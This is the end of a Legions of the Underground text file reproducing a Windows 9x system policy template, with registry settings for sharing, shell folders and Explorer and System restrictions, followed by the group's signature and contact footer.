  2252.             (liste de modΦles de couleur effacΘe car trop longue et sans grand intΘrΩt)
  2253.         END ITEMLIST
  2254.         END PART
  2255.     END POLICY
  2256. END CATEGORY    ; desktop
  2257.  
  2258. CATEGORY !!Network
  2259. KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network
  2260.  
  2261.     CATEGORY !!Sharing
  2262.  
  2263.         POLICY !!DisableFileSharingCtrl
  2264.         VALUENAME NoFileSharingControl
  2265.         END POLICY
  2266.  
  2267.         POLICY !!DisablePrintSharingCtrl
  2268.         VALUENAME NoPrintSharingControl
  2269.         END POLICY
  2270.     END CATEGORY  ; Sharing
  2271. END CATEGORY  ; Network
  2272.  
  2273. CATEGORY !!Shell
  2274. KEYNAME "Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
  2275.  
  2276.     CATEGORY !!CustomFolders
  2277.  
  2278.         POLICY !!CustomFolders_Programs
  2279.             PART !!CustomFolders_ProgramsPath EDITTEXT REQUIRED
  2280.             VALUENAME "Programs"
  2281.             END PART
  2282.         END POLICY
  2283.  
  2284.         POLICY !!CustomFolders_Desktop
  2285.             PART !!CustomFolders_DesktopPath EDITTEXT REQUIRED
  2286.             VALUENAME "Desktop"
  2287.             END PART
  2288.         END POLICY
  2289.  
  2290.         POLICY !!HideStartMenuSubfolders
  2291.             KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  2292.             VALUENAME NoStartMenuSubFolders
  2293.             PART !!HideStartMenuSubfolders_Tip1 TEXT  END PART
  2294.             PART !!HideStartMenuSubfolders_Tip2 TEXT  END PART
  2295.         END POLICY
  2296.  
  2297.         POLICY !!CustomFolders_Startup
  2298.             PART !!CustomFolders_StartupPath EDITTEXT REQUIRED
  2299.             VALUENAME "Startup"
  2300.             END PART
  2301.         END POLICY
  2302.  
  2303.         POLICY !!CustomFolders_NetHood
  2304.             PART !!CustomFolders_NetHoodPath EDITTEXT REQUIRED
  2305.             VALUENAME "NetHood"
  2306.             END PART
  2307.         END POLICY
  2308.     
  2309.         POLICY !!CustomFolders_StartMenu
  2310.             PART !!CustomFolders_StartMenuPath EDITTEXT REQUIRED
  2311.             VALUENAME "Start Menu"
  2312.             END PART
  2313.         END POLICY
  2314.     END CATEGORY
  2315.  
  2316.     CATEGORY !!Restrictions
  2317.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  2318.  
  2319.             POLICY !!RemoveRun
  2320.             VALUENAME "NoRun"
  2321.             END POLICY
  2322.  
  2323.             POLICY !!RemoveFolders
  2324.             VALUENAME "NoSetFolders"
  2325.             END POLICY
  2326.  
  2327.             POLICY !!RemoveTaskbar
  2328.             VALUENAME "NoSetTaskbar"
  2329.             END POLICY
  2330.  
  2331.             POLICY !!RemoveFind
  2332.             VALUENAME "NoFind"
  2333.             END POLICY
  2334.  
  2335.             POLICY !!HideDrives
  2336.             VALUENAME "NoDrives"
  2337.             VALUEON NUMERIC 67108863    ; low 26 bits on (1 bit per drive)
  2338.             END POLICY
  2339.  
  2340.             POLICY !!HideNetHood
  2341.             VALUENAME "NoNetHood"
  2342.             END POLICY
  2343.  
  2344.             POLICY !!NoEntireNetwork
  2345.                 KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network
  2346.                 VALUENAME "NoEntireNetwork"
  2347.             END POLICY
  2348.  
  2349.             POLICY !!NoWorkgroupContents
  2350.                 KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network
  2351.                 VALUENAME "NoWorkgroupContents"
  2352.             END POLICY
  2353.  
  2354.             POLICY !!HideDesktop
  2355.             VALUENAME "NoDesktop"
  2356.             END POLICY
  2357.  
  2358.             POLICY !!DisableClose
  2359.             VALUENAME "NoClose"
  2360.             END POLICY
  2361.  
  2362.             POLICY !!NoSaveSettings
  2363.             VALUENAME "NoSaveSettings"
  2364.             END POLICY
  2365.  
  2366.     END CATEGORY                                                       
  2367. END CATEGORY    ; Shell
  2368.  
  2369. CATEGORY !!System
  2370. KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\System
  2371.  
  2372.     CATEGORY !!Restrictions
  2373.  
  2374.           POLICY !!DisableRegedit
  2375.         VALUENAME DisableRegistryTools
  2376.         END POLICY
  2377.  
  2378.         POLICY !!RestrictApps
  2379.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  2380.         VALUENAME RestrictRun
  2381.                       PART !!RestrictAppsList LISTBOX
  2382.            + liste            KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun
  2383.                 VALUEPREFIX ""
  2384.             END PART
  2385.         END POLICY
  2386.  
  2387.         POLICY !!DisableMSDOS
  2388.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp
  2389.         VALUENAME Disabled
  2390.         END POLICY
  2391.  
  2392.         POLICY !!DisableSingleMSDOS
  2393.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp
  2394.         VALUENAME NoRealMode
  2395.         END POLICY
  2396.  
  2397.     END CATEGORY
  2398. END CATEGORY
  2399.  
  2400. ---------------------------------------------------------------------------
  2401.  
  2402.                    \\\___///
  2403.                   \\  - -  //
  2404.           Live Well(  @ @  )Do Good
  2405.  +---------------oOOo-(_)-oOOo--------------------------------------+
  2406.  | NtWak0  . --:)MCSEx2, Telcom. Eng., Security Senior              |
  2407.  |"Kn0w13dg3 i5 0n1y p0w3r if U hav3 th3 wi5d0m t0 us3 i7 c0rr3c71y"|
  2408.  |"I7'5 nic3 70 b3 imp0r7an7. Bu7 i7'5 m0r3 imp0r7an7 70 b3 nic3"   |
  2409.  +------------------------Oooo--------------------------------------+
  2410.  
  2411. ---------------------------------------------------------------------------
  2412.                L E G I O N S  O F  T H E  U N D E R G R O U N D 
  2413. ---------------------------------------------------------------------------
  2414. Send Submissions! kv@legions.org  | digi@wintermute.unixgeeks.com
  2415. Send Comments!    kv@legions.org  | digi@wintermute.unixgeeks.com
  2416. Send Money! Please send email,so we can direct you to our swissbank account 
  2417.  
  2418.                      [This has been a LoU production]
  2419.  
  2420.